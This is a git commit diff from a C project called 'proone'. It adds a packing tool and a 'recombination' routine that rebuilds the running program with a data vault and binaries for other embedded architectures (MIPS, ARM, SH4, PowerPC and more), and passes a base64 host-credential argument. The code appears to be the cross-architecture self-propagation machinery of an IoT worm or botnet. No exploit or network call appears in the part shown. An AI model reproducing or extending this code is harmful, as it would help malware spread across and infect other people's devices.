aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-07 21:54:51 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-07 21:54:51 +0930
commit8eed8cde29960ace2ea1b2ceb61962be6f258364 (patch)
treed10a563577451d397f05a9420d4947a65bea412a
parent68bab4b86fef25f835c6b20a178c9b34ff8d2bd7 (diff)
* Impl: proone-pack
* Impl: host_cred (base64)
-rw-r--r--.vscode/launch.json30
-rw-r--r--.vscode/tasks.json6
-rw-r--r--src/config.h5
-rw-r--r--src/pack.c691
-rw-r--r--src/pack.h80
-rw-r--r--src/proone-pack.c430
-rw-r--r--src/proone-test_proto.c38
-rw-r--r--src/proone.c40
-rw-r--r--src/proone.h3
-rw-r--r--src/protocol.c42
-rw-r--r--src/protocol.h6
-rw-r--r--src/util_ct.h6
12 files changed, 890 insertions, 487 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json
index 4216eb2..f0ca3fb 100644
--- a/.vscode/launch.json
+++ b/.vscode/launch.json
@@ -46,11 +46,39 @@
"miDebuggerPath": "/usr/bin/gdb"
},
{
+ "name": "pack",
+ "type": "cppdbg",
+ "request": "launch",
+ "program": "${workspaceFolder}/src/proone-pack",
+ "args": [
+ "tmp/pack-test/exec",
+ "src/dvault.bin",
+ "src/data/pack-test/exec.aarch64",
+ "src/data/pack-test/exec.armv4t",
+ "src/data/pack-test/exec.armv7",
+ "src/data/pack-test/exec.i686",
+ "src/data/pack-test/exec.mips",
+ "src/data/pack-test/exec.mpsl",
+ "src/data/pack-test/exec.ppc",
+ "src/data/pack-test/exec.sh4",
+ "src/data/pack-test/exec.x86_64"
+ ],
+ "stopAtEntry": false,
+ "cwd": "${workspaceFolder}",
+ "environment": [],
+ "externalConsole": false,
+ "MIMode": "gdb",
+ "setupCommands": [],
+ "preLaunchTask": "Build pack",
+ "miDebuggerPath": "/usr/bin/gdb"
+ },
+
+ {
"name": "proone",
"type": "cppdbg",
"request": "launch",
"program": "${workspaceFolder}/src/proone",
- "args": [],
+ "args": [ "cXdlcnR5dWlvcFtdYXNkZmdoamtsOyd6eGN2Ym5tLC4vYDEyMzQ1Njc4OTAtPX4hQCMkJV4mKigpXyt8XA==" ],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
diff --git a/.vscode/tasks.json b/.vscode/tasks.json
index f78549c..c8402b5 100644
--- a/.vscode/tasks.json
+++ b/.vscode/tasks.json
@@ -36,11 +36,17 @@
"command": "make -C ./src proone-resolv"
},
{
+ "label": "Build pack",
+ "type": "shell",
+ "command": "make -C ./src dvault.bin proone-pack"
+ },
+ {
"label": "Build proone",
"type": "shell",
"command": "make -C ./src proone"
},
+
{
"label": "Build test_proto",
"type": "shell",
diff --git a/src/config.h b/src/config.h
index 6206b63..4c1c445 100644
--- a/src/config.h
+++ b/src/config.h
@@ -5,6 +5,8 @@
#include <stddef.h>
#include <stdbool.h>
+#include <zlib.h>
+
#if INTPTR_MAX == INT32_MAX
#define PRNE_HOST_WORDSIZE 32
@@ -16,4 +18,7 @@
#define PRNE_PROG_VER { 0x11, 0xf7, 0x6b, 0x87, 0x62, 0x1a, 0x47, 0x9c, 0xa2, 0x18, 0x5c, 0x55, 0x40, 0x33, 0x7c, 0x9f }
#define PRNE_SHG_SALT { 0x31, 0xe4, 0xf1, 0x7c, 0xdb, 0x76, 0x43, 0x32, 0xaf, 0x48, 0xfd, 0x9f, 0xb8, 0x45, 0x3f, 0x8f }
+
+#define PRNE_PACK_Z_LEVEL Z_DEFAULT_COMPRESSION
+
extern const prne_arch_t prne_host_arch;
diff --git a/src/pack.c b/src/pack.c
index 94601b9..e842caa 100644
--- a/src/pack.c
+++ b/src/pack.c
@@ -1,357 +1,496 @@
#include "pack.h"
-#include "util_rt.h"
#include "util_ct.h"
+#include "util_rt.h"
+#include "endian.h"
+#include "config.h"
-#include <stdint.h>
-#include <stdbool.h>
-#include <stdlib.h>
-#include <stdio.h>
#include <string.h>
-
#include <errno.h>
-#include <zlib.h>
-#include <mbedtls/error.h>
-
-struct prne_unpack_ctx {
- size_t end;
- z_stream zs;
-};
-
-static int bin_tpl_comp_func (const void *a, const void *b) {
- return ((const prne_bin_tuple_t*)a)->arch < ((const prne_bin_tuple_t*)b)->arch ? -1 : ((const prne_bin_tuple_t*)a)->arch > ((const prne_bin_tuple_t*)b)->arch ? 1 : 0;
-}
+typedef struct {
+ const uint8_t *data;
+ size_t rem;
+} pack_rcb_pt_octx_t;
+typedef struct {
+ uint8_t buf[4096];
+ const uint8_t *m_dv;
+ size_t dv_len;
+ size_t ofs;
+ const prne_bin_tuple_t *t;
+ const prne_bin_archive_t *ba;
+ size_t buf_len; // 0: used as z_stream buffer, > 0: used as something else
+ size_t seek, skip; // Offset to binary to exclude and its length
+ z_stream z_old, z_ny;
+ prne_arch_t a_self;
+} pack_rcb_rb_octx_t;
void prne_init_bin_archive (prne_bin_archive_t *a) {
- a->data_size = 0;
- a->data = NULL;
- a->nb_bin = 0;
- a->bin = NULL;
+ prne_memzero(a, sizeof(prne_bin_archive_t));
}
void prne_free_bin_archive (prne_bin_archive_t *a) {
- prne_free(a->data);
prne_free(a->bin);
- a->data_size = 0;
- a->data = NULL;
- a->nb_bin = 0;
a->bin = NULL;
+ a->nb_bin = 0;
}
-prne_pack_ret_t prne_index_bin_archive (void *rf_ctx, prne_bin_archive_read_ft rf, prne_bin_archive_t *out) {
- prne_pack_ret_t ret;
- uint8_t *data = NULL;
+prne_pack_rc_t prne_index_bin_archive (
+ const uint8_t *data,
+ size_t len,
+ prne_bin_archive_t *out)
+{
+ prne_pack_rc_t ret = PRNE_PACK_RC_OK;
prne_bin_tuple_t *bin = NULL;
- size_t i, r_len, pos = 0, data_size = 0, nb_bin = 0;
- uint8_t head[4];
- void *ny_mem;
- const size_t pagesize = prne_getpagesize();
-
- r_len = 0;
- ret = rf(rf_ctx, 1, head, &r_len);
- if (ret.rc != PRNE_PACK_RC_OK) {
- goto ERR;
+ size_t nb_bin, i, sum = 0;
+
+ if (len < 4) {
+ ret = PRNE_PACK_RC_FMT_ERR;
+ goto END;
}
- if (r_len != 1) {
- ret.rc = PRNE_PACK_RC_FMT_ERR;
- goto ERR;
+ nb_bin = data[0];
+ len -= 4;
+ data += 4;
+ if (nb_bin * 4 > len) {
+ ret = PRNE_PACK_RC_FMT_ERR;
+ goto END;
}
- nb_bin = head[0];
bin = (prne_bin_tuple_t*)prne_malloc(sizeof(prne_bin_tuple_t), nb_bin);
if (bin == NULL) {
- ret.rc = PRNE_PACK_RC_ERRNO;
- ret.err = errno;
- goto ERR;
- }
- for (i = 0; i < nb_bin; i += 1) {
- r_len = 0;
- ret = rf(rf_ctx, 4, head, &r_len);
- if (ret.rc != PRNE_PACK_RC_OK) {
- goto ERR;
- }
- if (r_len != 4) {
- ret.rc = PRNE_PACK_RC_FMT_ERR;
- goto ERR;
- }
-
- bin[i].arch = (prne_arch_t)head[0];
- bin[i].offset = pos;
- pos += bin[i].size = ((size_t)head[1] << 16) | ((size_t)head[2] << 8) | ((size_t)head[3]);
+ ret = PRNE_PACK_RC_ERRNO;
+ goto END;
}
- pos = 0;
- do {
- ny_mem = prne_realloc(data, 1, pos + pagesize);
- if (ny_mem == NULL) {
- ret.rc = PRNE_PACK_RC_ERRNO;
- ret.err = errno;
- goto ERR;
- }
- data = (uint8_t*)ny_mem;
-
- ret = rf(rf_ctx, pagesize, data + pos, &r_len);
- if (ret.rc != PRNE_PACK_RC_OK) {
- goto ERR;
- }
- data_size += r_len;
- pos += pagesize;
- } while (r_len == pagesize);
- ny_mem = prne_realloc(data, 1, data_size);
- if (ny_mem == NULL) {
- ret.rc = PRNE_PACK_RC_ERRNO;
- ret.err = errno;
- goto ERR;
+ for (i = 0; i < nb_bin; i += 1) {
+ bin[i].arch = (prne_arch_t)data[0];
+ bin[i].size = prne_recmb_msb32(0, data[1], data[2], data[3]);
+ sum += bin[i].size;
+ data += 4;
+ len -= 4;
}
- data = (uint8_t*)ny_mem;
- qsort(bin, nb_bin, sizeof(prne_bin_tuple_t), bin_tpl_comp_func);
out->data = data;
- out->data_size = data_size;
+ out->data_size = len;
out->nb_bin = nb_bin;
out->bin = bin;
+ bin = NULL;
- return ret;
-ERR:
+END:
prne_free(bin);
- prne_free(data);
-
return ret;
}
-prne_unpack_ctx_pt prne_alloc_unpack_ctx (const prne_bin_archive_t *archive, const prne_arch_t arch, prne_pack_ret_t *pr_out) {
- prne_bin_tuple_t main_tpl;
- prne_bin_tuple_t *tpl;
- prne_unpack_ctx_pt ret = NULL;
- uint8_t buf[4096];
- size_t i, cnt;
- prne_pack_ret_t pr;
-
- pr.rc = PRNE_PACK_RC_OK;
- pr.err = 0;
+void prne_init_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx) {
+ prne_memzero(ctx, sizeof(prne_bin_rcb_ctx_t));
+}
- main_tpl.arch = arch;
- tpl = (prne_bin_tuple_t*)bsearch(&main_tpl, archive->bin, archive->nb_bin, sizeof(prne_bin_tuple_t), bin_tpl_comp_func);
- if (tpl == NULL) {
- pr.rc = PRNE_PACK_RC_NO_BIN;
- goto ERR;
+void prne_free_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx) {
+ ctx->read_f = NULL;
+ if (ctx->o_ctx != NULL) {
+ ctx->ctx_free_f(ctx->o_ctx);
+ ctx->o_ctx = NULL;
+ ctx->ctx_free_f = NULL;
}
- main_tpl = *tpl;
+}
+
+void pack_rcb_free_pt_octx (void *p) {
+ prne_free(p);
+}
- ret = (prne_unpack_ctx_pt)prne_malloc(sizeof(struct prne_unpack_ctx), 1);
- if (ret == NULL) {
- pr.rc = PRNE_PACK_RC_ERRNO;
- pr.err = errno;
- goto ERR;
+void pack_rcb_free_rb_octx (void *p) {
+ pack_rcb_rb_octx_t *ctx = (pack_rcb_rb_octx_t*)p;
+
+ inflateEnd(&ctx->z_old);
+ deflateEnd(&ctx->z_ny);
+ prne_free(ctx);
+}
+
+static ssize_t pack_rcb_nullread_f (
+ prne_bin_rcb_ctx_t *ctx,
+ uint8_t *buf,
+ size_t len,
+ prne_pack_rc_t *prc,
+ int *err)
+{
+ prne_chk_assign(prc, PRNE_PACK_RC_EOF);
+ prne_chk_assign(err, 0);
+ return 0;
+}
+
+static ssize_t pack_rcb_ptread_f (
+ prne_bin_rcb_ctx_t *ctx_p,
+ uint8_t *buf,
+ size_t len,
+ prne_pack_rc_t *prc,
+ int *err)
+{
+ pack_rcb_pt_octx_t *ctx = (pack_rcb_pt_octx_t*)ctx_p->o_ctx;
+ const size_t consume = prne_op_min(len, ctx->rem);
+
+ memcpy(buf, ctx->data, consume);
+ ctx->data += consume;
+ ctx->rem -= consume;
+
+ if (ctx->rem == 0) {
+ ctx_p->read_f = pack_rcb_nullread_f;
+ ctx_p->ctx_free_f(ctx);
+ ctx_p->o_ctx = NULL;
+ ctx_p->ctx_free_f = NULL;
}
- prne_memzero(&ret->zs, sizeof(ret->zs));
- if (Z_OK != (pr.err = inflateInit(&ret->zs))) {
- prne_free(ret);
- ret = NULL;
- pr.rc = PRNE_PACK_RC_Z_ERR;
- goto ERR;
+ prne_chk_assign(prc, PRNE_PACK_RC_OK);
+ prne_chk_assign(err, 0);
+ return consume;
+}
+
+static ssize_t pack_rcb_rpread_f (
+ prne_bin_rcb_ctx_t *ctx_p,
+ uint8_t *buf,
+ size_t len,
+ prne_pack_rc_t *out_prc,
+ int *out_err)
+{
+ prne_pack_rc_t prc = PRNE_PACK_RC_OK;
+ int err = 0;
+ pack_rcb_rb_octx_t *ctx = (pack_rcb_rb_octx_t*)ctx_p->o_ctx;
+ size_t consume;
+
+ if (ctx->buf_len > 0) {
+ // alignment and index
+ consume = prne_op_min(ctx->buf_len, len);
+ memcpy(buf, ctx->buf, consume);
+ memmove(ctx->buf, ctx->buf + consume, ctx->buf_len - consume);
+ ctx->buf_len -= consume;
}
- ret->zs.avail_in = archive->data_size;
- ret->zs.next_in = archive->data;
-
- cnt = main_tpl.offset / sizeof(buf);
- for (i = 0; i < cnt; i += 1) {
- ret->zs.avail_out = sizeof(buf);
- ret->zs.next_out = buf;
- switch (inflate(&ret->zs, Z_SYNC_FLUSH)) {
- case Z_OK:
+ else {
+ int d_flush = Z_NO_FLUSH;
+
+ if (ctx->z_ny.avail_in == 0) {
+ if (ctx->seek > 0) {
+ consume = prne_op_min(sizeof(ctx->buf), ctx->seek);
+ }
+ else if (ctx->skip > 0) {
+ consume = prne_op_min(sizeof(ctx->buf), ctx->skip);
+ }
+ else {
+ consume = sizeof(ctx->buf);
+ }
+ ctx->z_old.avail_out = consume;
+ ctx->z_old.next_out = ctx->buf;
+ err = inflate(&ctx->z_old, Z_FINISH);
+ switch (err) {
+ case Z_STREAM_END:
+ d_flush = Z_FINISH;
+ /* fall-through */
+ case Z_BUF_ERROR:
+ case Z_OK:
+ err = 0;
+ break;
+ default:
+ consume = -1;
+ prc = PRNE_PACK_RC_Z_ERR;
+ goto END;
+ }
+
+ consume -= ctx->z_old.avail_out;
+ if (ctx->seek > 0) {
+ ctx->seek -= consume;
+ }
+ else if (ctx->skip > 0) {
+ ctx->skip -= consume;
+ consume = 0;
+ goto END;
+ }
+ ctx->z_ny.next_in = ctx->buf;
+ ctx->z_ny.avail_in = consume;
+ }
+
+ ctx->z_ny.avail_out = len;
+ ctx->z_ny.next_out = buf;
+ err = deflate(&ctx->z_ny, d_flush);
+ switch (err) {
+ case Z_STREAM_END:
+ ctx_p->read_f = pack_rcb_nullread_f;
+ prc = PRNE_PACK_RC_EOF;
+ /* fall-through */
case Z_BUF_ERROR:
+ case Z_OK:
+ err = 0;
break;
default:
- pr.rc = PRNE_PACK_RC_FMT_ERR;
- goto ERR;
- }
- if (ret->zs.avail_out != 0) {
- pr.rc = PRNE_PACK_RC_FMT_ERR;
- goto ERR;
+ consume = -1;
+ prc = PRNE_PACK_RC_Z_ERR;
+ goto END;
}
+ consume = len - ctx->z_ny.avail_out;
}
+END:
+ prne_chk_assign(out_prc, prc);
+ prne_chk_assign(out_err, err);
+ return consume;
+}
- ret->zs.avail_out = main_tpl.offset - cnt * sizeof(buf);
- ret->zs.next_out = buf;
- switch (inflate(&ret->zs, Z_SYNC_FLUSH)) {
- case Z_OK:
- case Z_BUF_ERROR:
- break;
- default:
- pr.rc = PRNE_PACK_RC_FMT_ERR;
- goto ERR;
- }
- if (ret->zs.total_out != main_tpl.offset) {
- pr.rc = PRNE_PACK_RC_FMT_ERR;
- goto ERR;
+static ssize_t pack_rcb_dvread_f (
+ prne_bin_rcb_ctx_t *ctx_p,
+ uint8_t *buf,
+ size_t len,
+ prne_pack_rc_t *out_prc,
+ int *out_err)
+{
+ pack_rcb_rb_octx_t *ctx = (pack_rcb_rb_octx_t*)ctx_p->o_ctx;
+ size_t consume;
+
+ if (ctx->buf_len > 0) {
+ // alignment and appendix
+ consume = prne_op_min(ctx->buf_len, len);
+ memcpy(buf, ctx->buf, consume);
+ memmove(ctx->buf, ctx->buf + consume, ctx->buf_len - consume);
+ ctx->buf_len -= consume;
}
+ else {
+ // dv
+ consume = prne_op_min(ctx->skip, len);
+ memcpy(buf, ctx->m_dv, consume);
+ ctx->skip -= consume;
+ ctx->m_dv += consume;
+
+ if (ctx->skip == 0) {
+ prne_bin_tuple_t *t;
+ uint8_t *nb_bin_loc;
+
+ // alignment and bin archive index
+ prne_static_assert(
+ sizeof(ctx->buf) >= PRNE_BIN_ALIGNMENT + NB_PRNE_ARCH * 4,
+ "FIXME");
+ ctx->buf_len =
+ prne_salign_next(ctx->dv_len, PRNE_BIN_ALIGNMENT)
+ - ctx->dv_len;
+ prne_memzero(ctx->buf, ctx->buf_len);
+
+ nb_bin_loc = &ctx->buf[ctx->buf_len + 0];
+ *nb_bin_loc = 0;
+ ctx->buf[ctx->buf_len + 1] = 0;
+ ctx->buf[ctx->buf_len + 2] = 0;
+ ctx->buf[ctx->buf_len + 3] = 0;
+ ctx->buf_len += 4;
+
+ if (ctx->a_self != PRNE_ARCH_NONE) {
+ ctx->buf[ctx->buf_len + 0] = (uint8_t)ctx->a_self;
+ ctx->buf[ctx->buf_len + 1] =
+ prne_getmsb32(ctx->z_ny.avail_in, 1);
+ ctx->buf[ctx->buf_len + 2] =
+ prne_getmsb32(ctx->z_ny.avail_in, 2);
+ ctx->buf[ctx->buf_len + 3] =
+ prne_getmsb32(ctx->z_ny.avail_in, 3);
+ ctx->buf_len += 4;
+ *nb_bin_loc += 1;
+ }
- ret->end = main_tpl.offset + main_tpl.size;
- if (pr_out != NULL) {
- *pr_out = pr;
- }
- return ret;
-ERR:
- if (ret != NULL) {
- inflateEnd(&ret->zs);
- prne_free(ret);
- }
- if (pr_out != NULL) {
- *pr_out = pr;
+ for (size_t i = 0; i < ctx->ba->nb_bin; i += 1) {
+ t = ctx->ba->bin + i;
+
+ if (t->arch == ctx->t->arch) {
+ continue;
+ }
+ ctx->buf[ctx->buf_len + 0] = (uint8_t)t->arch;
+ ctx->buf[ctx->buf_len + 1] = prne_getmsb32(t->size, 1);
+ ctx->buf[ctx->buf_len + 2] = prne_getmsb32(t->size, 2);
+ ctx->buf[ctx->buf_len + 3] = prne_getmsb32(t->size, 3);
+ ctx->buf_len += 4;
+ *nb_bin_loc += 1;
+ }
+
+ ctx->seek = ctx->ofs;
+ ctx->skip = ctx->t->size;
+ ctx_p->read_f = pack_rcb_rpread_f;
+ }
}
- return NULL;
+ prne_chk_assign(out_prc, PRNE_PACK_RC_OK);
+ prne_chk_assign(out_err, 0);
+ return consume;
}
-void prne_free_unpack_ctx (prne_unpack_ctx_pt ctx) {
- if (ctx != NULL) {
- inflateEnd(&ctx->zs);
- prne_free(ctx);
+static ssize_t pack_rcb_eeread_f (
+ prne_bin_rcb_ctx_t *ctx_p,
+ uint8_t *buf,
+ size_t len,
+ prne_pack_rc_t *out_prc,
+ int *out_err)
+{
+ prne_pack_rc_t prc = PRNE_PACK_RC_OK;
+ int err = 0;
+ pack_rcb_rb_octx_t *ctx = (pack_rcb_rb_octx_t*)ctx_p->o_ctx;
+ size_t consume;
+
+ if (ctx->seek > 0) {
+ ctx->z_old.avail_out = prne_op_min(sizeof(ctx->buf), ctx->seek);
+ ctx->z_old.next_out = ctx->buf;
}
-}
-
-ssize_t prne_do_unpack (prne_unpack_ctx_pt ctx, uint8_t *out, const size_t out_len, prne_pack_ret_t *pr_out) {
- const size_t rem = ctx->end - ctx->zs.total_out;
- const size_t req = prne_op_min(rem, out_len);
- prne_pack_ret_t pr;
-
- pr.rc = PRNE_PACK_RC_OK;
- pr.err = 0;
-
- if (req == 0) {
- return 0;
+ else {
+ ctx->z_old.avail_out = prne_op_min(len, ctx->skip);
+ ctx->z_old.next_out = buf;
}
-
- ctx->zs.next_out = out;
- ctx->zs.avail_out = req;
- switch ((pr.err = inflate(&ctx->zs, Z_SYNC_FLUSH))) {
- case Z_OK:
+ consume = ctx->z_old.avail_out;
+ err = inflate(&ctx->z_old, Z_FINISH);
+ switch (err) {
case Z_STREAM_END:
case Z_BUF_ERROR:
- pr.err = 0;
+ case Z_OK:
+ err = 0;
break;
default:
- pr.rc = PRNE_PACK_RC_Z_ERR;
- goto END;
- }
- if (ctx->zs.avail_out != 0) {
- pr.rc = PRNE_PACK_RC_FMT_ERR;
+ consume = -1;
+ prc = PRNE_PACK_RC_Z_ERR;
goto END;
}
-END:
- if (pr_out != NULL) {
- *pr_out = pr;
+ consume -= ctx->z_old.avail_out;
+ if (ctx->seek > 0) {
+ ctx->seek -= consume;
+ consume = 0;
}
- if (pr.rc != PRNE_PACK_RC_OK) {
- return -1;
+ else {
+ ctx->skip -= consume;
+
+ if (ctx->skip == 0) {
+ // alignment and appendix
+ const size_t aligned = prne_salign_next(
+ ctx->t->size,
+ PRNE_BIN_ALIGNMENT);
+
+ if ((err = inflateEnd(&ctx->z_old)) != Z_OK ||
+ (err = inflateInit(&ctx->z_old)) != Z_OK)
+ {
+ prc = PRNE_PACK_RC_Z_ERR;
+ goto END;
+ }
+ err = 0;
+ ctx->z_old.avail_in = ctx->ba->data_size;
+ ctx->z_old.next_in = (uint8_t*)ctx->ba->data;
+
+ prne_static_assert(
+ sizeof(ctx->buf) >= PRNE_BIN_ALIGNMENT + 8,
+ "FIXME");
+
+ ctx->buf_len = aligned - ctx->t->size;
+ prne_memzero(ctx->buf, ctx->buf_len);
+ ctx->buf[ctx->buf_len + 0] = prne_getmsb16(ctx->dv_len, 0);
+ ctx->buf[ctx->buf_len + 1] = prne_getmsb16(ctx->dv_len, 1);
+ ctx->buf[ctx->buf_len + 2] = 0;
+ ctx->buf[ctx->buf_len + 3] = 0;
+ ctx->buf[ctx->buf_len + 4] = 0;
+ ctx->buf[ctx->buf_len + 5] = 0;
+ ctx->buf[ctx->buf_len + 6] = 0;
+ ctx->buf[ctx->buf_len + 7] = 0;
+ ctx->buf_len += 8;
+ ctx->skip = ctx->dv_len;
+
+ ctx_p->read_f = pack_rcb_dvread_f;
+ }
}
- return req;
+END:
+ prne_chk_assign(out_prc, prc);
+ prne_chk_assign(out_err, err);
+ return consume;
}
-char *prne_pack_ret_tostr (const prne_pack_ret_t pr) {
- const char *rc_str;
- const char *err_str;
- char *buf = NULL, err_buf[31];
- size_t buf_size;
-
- switch (pr.rc) {
- case PRNE_PACK_RC_OK: rc_str = "ok"; break;
- case PRNE_PACK_RC_FMT_ERR: rc_str = "fmt err"; break;
- case PRNE_PACK_RC_NO_BIN: rc_str = "no bin"; break;
- default: rc_str = NULL;
- }
- if (rc_str != NULL) {
- buf_size = strlen(rc_str) + 1;
- buf = (char*)prne_malloc(1, buf_size);
- if (buf != NULL) {
- memcpy(buf, rc_str, buf_size);
- }
- return buf;
+prne_pack_rc_t prne_start_bin_rcb (
+ prne_bin_rcb_ctx_t *ctx,
+ const prne_arch_t target,
+ const prne_arch_t self,
+ const uint8_t *m_self,
+ const size_t self_len,
+ const size_t exec_len,
+ const uint8_t *m_dvault,
+ const size_t dvault_len,
+ const prne_bin_archive_t *ba)
+{
+ if (!prne_arch_inrange(target) ||
+ (!prne_arch_inrange(self) && self != PRNE_ARCH_NONE))
+ {
+ return PRNE_PACK_RC_INVAL;
}
- switch (pr.rc) {
- case PRNE_PACK_RC_ERRNO:
- rc_str = "errno";
- err_str = strerror(pr.err);
- break;
- case PRNE_PACK_RC_Z_ERR:
- rc_str = "zlib err";
- err_str = zError(pr.err);
- break;
- case PRNE_PACK_RC_MBEDTLS_ERR:
- rc_str = "mbedtls err";
- mbedtls_strerror(pr.err, err_buf, sizeof(err_buf));
- err_str = err_buf;
- break;
- default:
- errno = EINVAL;
- return NULL;
- }
+ if (self == target) {
+ pack_rcb_pt_octx_t *ny_ctx =
+ (pack_rcb_pt_octx_t*)prne_malloc(sizeof(pack_rcb_pt_octx_t), 1);
- buf_size = strlen(rc_str) + 4 + 11 + 1 + strlen(err_str) + 1;
- buf = (char*)prne_malloc(1, buf_size);
- if (buf != NULL) {
- if (sprintf(buf, "%s - (%d)%s", rc_str, pr.err, err_str) < 0) {
- prne_free(buf);
- return NULL;
+ if (ny_ctx == NULL) {
+ return PRNE_PACK_RC_ERRNO;
}
- }
- return buf;
-}
-
-void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx) {
- ctx->line_len = 0;
- ctx->out_len = 0;
-}
-void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx) {
- ctx->line_len = 0;
- ctx->out_len = 0;
-}
+ ny_ctx->data = m_self;
+ ny_ctx->rem = self_len;
-prne_pack_ret_t prne_stdin_base64_rf (void *in_ctx, const size_t req, uint8_t *out, size_t *out_len) {
- prne_stdin_base64_rf_ctx_t *ctx = (prne_stdin_base64_rf_ctx_t*)in_ctx;
- size_t rem = req, have;
- prne_pack_ret_t ret;
-
- ret.rc = PRNE_PACK_RC_OK;
- ret.err = 0;
- *out_len = 0;
-
- while (true) {
- have = prne_op_min(rem, ctx->out_len);
- memcpy(out, ctx->out_buf, have);
- memmove(ctx->out_buf, ctx->out_buf + have, ctx->out_len - have);
- rem -= have;
- ctx->out_len -= have;
- out += have;
- *out_len += have;
-
- if (rem == 0) {
- break;
- }
-
- if (fgets(ctx->line_buf, sizeof(ctx->line_buf), stdin) == NULL) {
- if (feof(stdin)) {
+ prne_free_bin_rcb_ctx(ctx);
+ ctx->ctx_free_f = pack_rcb_free_pt_octx;
+ ctx->o_ctx = ny_ctx;
+ ctx->read_f = pack_rcb_ptread_f;
+ }
+ else {
+ pack_rcb_rb_octx_t *ny_ctx = NULL;
+ prne_bin_tuple_t *t = NULL;
+ size_t seek = 0;
+
+ for (size_t i = 0; i < ba->nb_bin; i += 1) {
+ if (ba->bin[i].arch == target) {
+ t = &ba->bin[i];
break;
}
- ret.rc = PRNE_PACK_RC_ERRNO;
- ret.err = errno;
- break;
+ seek += ba->bin[i].size;
+ }
+ if (t == NULL) {
+ return PRNE_PACK_RC_NO_ARCH;
}
- ctx->line_len = prne_str_shift_spaces(ctx->line_buf, strlen(ctx->line_buf));
- if ((ret.err = mbedtls_base64_decode(ctx->out_buf, sizeof(ctx->out_buf), &ctx->out_len, (unsigned char*)ctx->line_buf, ctx->line_len)) != 0) {
- ret.rc = PRNE_PACK_RC_MBEDTLS_ERR;
- break;
+ ny_ctx =
+ (pack_rcb_rb_octx_t*)prne_malloc(sizeof(pack_rcb_rb_octx_t), 1);
+ if (ny_ctx == NULL) {
+ return PRNE_PACK_RC_ERRNO;
+ }
+ prne_memzero(ny_ctx, sizeof(pack_rcb_rb_octx_t));
+
+ if (inflateInit(&ny_ctx->z_old) != Z_OK ||
+ deflateInit(&ny_ctx->z_ny, PRNE_PACK_Z_LEVEL) != Z_OK)
+ {
+ inflateEnd(&ny_ctx->z_old);
+ deflateEnd(&ny_ctx->z_ny);
+ prne_free(ny_ctx);
+ return PRNE_PACK_RC_Z_ERR;
}
+ ny_ctx->m_dv = m_dvault;
+ ny_ctx->dv_len = dvault_len;
+ ny_ctx->ofs = seek;
+ ny_ctx->t = t;
+ ny_ctx->ba = ba;
+ ny_ctx->seek = seek;
+ ny_ctx->skip = t->size;
+
+ ny_ctx->z_old.avail_in = ba->data_size;
+ ny_ctx->z_old.next_in = (uint8_t*)ba->data;
+ ny_ctx->z_ny.avail_in = exec_len;
+ ny_ctx->z_ny.next_in = (uint8_t*)m_self;
+ ny_ctx->a_self = self;
+
+ prne_free_bin_rcb_ctx(ctx);
+ ctx->ctx_free_f = pack_rcb_free_rb_octx;
+ ctx->o_ctx = ny_ctx;
+ ctx->read_f = pack_rcb_eeread_f;
}
- return ret;
+ return PRNE_PACK_RC_OK;
+}
+
+ssize_t prne_bin_rcb_read (
+ prne_bin_rcb_ctx_t *ctx,
+ uint8_t *buf,
+ size_t len,
+ prne_pack_rc_t *prc,
+ int *err)
+{
+ return ctx->read_f(ctx, buf, len, prc, err);
}
diff --git a/src/pack.h b/src/pack.h
index dce0eeb..76b50ad 100644
--- a/src/pack.h
+++ b/src/pack.h
@@ -4,67 +4,69 @@
#include "protocol.h"
-struct prne_bin_tuple;
-struct prne_bin_archive;
-struct prne_pack_ret;
-struct prne_unpack_ctx;
+#include <zlib.h>
+
+
typedef struct prne_bin_tuple prne_bin_tuple_t;
typedef struct prne_bin_archive prne_bin_archive_t;
-typedef struct prne_pack_ret prne_pack_ret_t;
-typedef struct prne_unpack_ctx* prne_unpack_ctx_pt;
+typedef struct prne_bin_rcb_ctx prne_bin_rcb_ctx_t;
typedef enum {
PRNE_PACK_RC_OK,
+ PRNE_PACK_RC_EOF,
+ PRNE_PACK_RC_INVAL,
PRNE_PACK_RC_FMT_ERR,
PRNE_PACK_RC_ERRNO,
PRNE_PACK_RC_Z_ERR,
- PRNE_PACK_RC_MBEDTLS_ERR,
- PRNE_PACK_RC_NO_BIN,
+ PRNE_PACK_RC_NO_ARCH
} prne_pack_rc_t;
struct prne_bin_tuple {
- prne_arch_t arch;
- size_t offset;
size_t size;
+ prne_arch_t arch;
};
struct prne_bin_archive {
- uint8_t *data;
+ const uint8_t *data;
size_t data_size;
size_t nb_bin;
prne_bin_tuple_t *bin;
};
-struct prne_pack_ret {
- prne_pack_rc_t rc;
- int err;
-};
-
-struct prne_stdin_base64_rf_ctx;
-typedef struct prne_stdin_base64_rf_ctx prne_stdin_base64_rf_ctx_t;
-
-struct prne_stdin_base64_rf_ctx {
- size_t line_len;
- size_t out_len;
- char line_buf[78];
- uint8_t out_buf[58];
+// Recombination Context
+struct prne_bin_rcb_ctx {
+ void *o_ctx;
+ void (*ctx_free_f)(void*);
+ ssize_t(*read_f)(
+ prne_bin_rcb_ctx_t *ctx,
+ uint8_t *buf,
+ size_t len,
+ prne_pack_rc_t *prc,
+ int *err);
};
-
-typedef prne_pack_ret_t(*prne_bin_archive_read_ft)(void *ctx, const size_t req, uint8_t *out, size_t *out_len);
-
-
void prne_init_bin_archive (prne_bin_archive_t *a);
void prne_free_bin_archive (prne_bin_archive_t *a);
-prne_pack_ret_t prne_index_bin_archive (void *rf_ctx, prne_bin_archive_read_ft rf, prne_bin_archive_t *out);
-
-prne_unpack_ctx_pt prne_alloc_unpack_ctx (const prne_bin_archive_t *archive, const prne_arch_t arch, prne_pack_ret_t *pr_out);
-void prne_free_unpack_ctx (prne_unpack_ctx_pt ctx);
-ssize_t prne_do_unpack (prne_unpack_ctx_pt ctx, uint8_t *out, const size_t out_len, prne_pack_ret_t *pr_out);
-
-// WARN: uses stdio func
-char *prne_pack_ret_tostr (const prne_pack_ret_t pr);
+prne_pack_rc_t prne_index_bin_archive (
+ const uint8_t *data,
+ size_t len,
+ prne_bin_archive_t *out);
